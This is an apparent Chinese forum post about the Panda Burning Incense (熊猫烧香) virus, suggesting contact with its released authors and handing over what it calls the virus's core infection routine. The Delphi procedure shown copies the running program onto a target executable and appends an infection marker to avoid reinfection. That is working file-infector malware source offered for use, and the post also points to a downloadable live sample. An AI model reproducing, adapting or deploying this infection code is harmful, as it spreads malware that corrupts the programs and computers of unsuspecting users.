制作病毒那几个人已经释放了
你可以考虑想办法联系他们
现在他们无业
以前联系好的金山等公司已经不收他们
给你个其中的核心感染部分
procedure
copy(ganran:string);
var
neicunliu,neicunliu2:tmemorystream;//内存流
wenjianliu,wenjianliu2:longint;//文件流
begin
wenjianliu:=$12345678;//定义感染标记
neicunliu:=tmemorystream.Create;//创建内存流
neicunliu.LoadFromFile(paramstr(0));//将自身导入文件流
neicunliu2:=tmemorystream.Create;//创建内存流
neicunliu2.LoadFromFile(ganran);//导入目标文件
neicunliu2.Seek(-4,sofromend);//定位到最后4个字节（8位
neicunliu2.Read(wenjianliu2,4);//读取这4个字节
if
wenjianliu2=wenjianliu
then//如果有标记则
begin
neicunliu.Free;//释放文件流
neicunliu2.Free;//释放文件流
end
else
begin
neicunliu2.Seek(0,sofrombeginning);//定位到内存流的头部
neicunliu.Seek(0,sofromend);//定位到内存流的尾部
neicunliu.CopyFrom(neicunliu2,neicunliu2.Size);//写入内存流
neicunliu.Seek(0,sofromend);//定位到内存流的尾部
neicunliu.Write(wenjianliu,4);//写入感染标记
neicunliu.SaveToFile(ganran);//保存文件
neicunliu.Free;//释放文件流
neicunliu2.Free;//释放文件流
end;
end;
四川熊猫庙！那里有熊猫烧香剩下的香灰，不用下载!
开玩笑，提供给你了，你害人家，造成后果严重了，不得按IP地址把我给揪出来啊~
刚好我今天上传了一个熊猫烧香的病毒样本，你下载测试一下吧，不过千万别解压，不然你的电脑就玩完了。
标签：熊猫
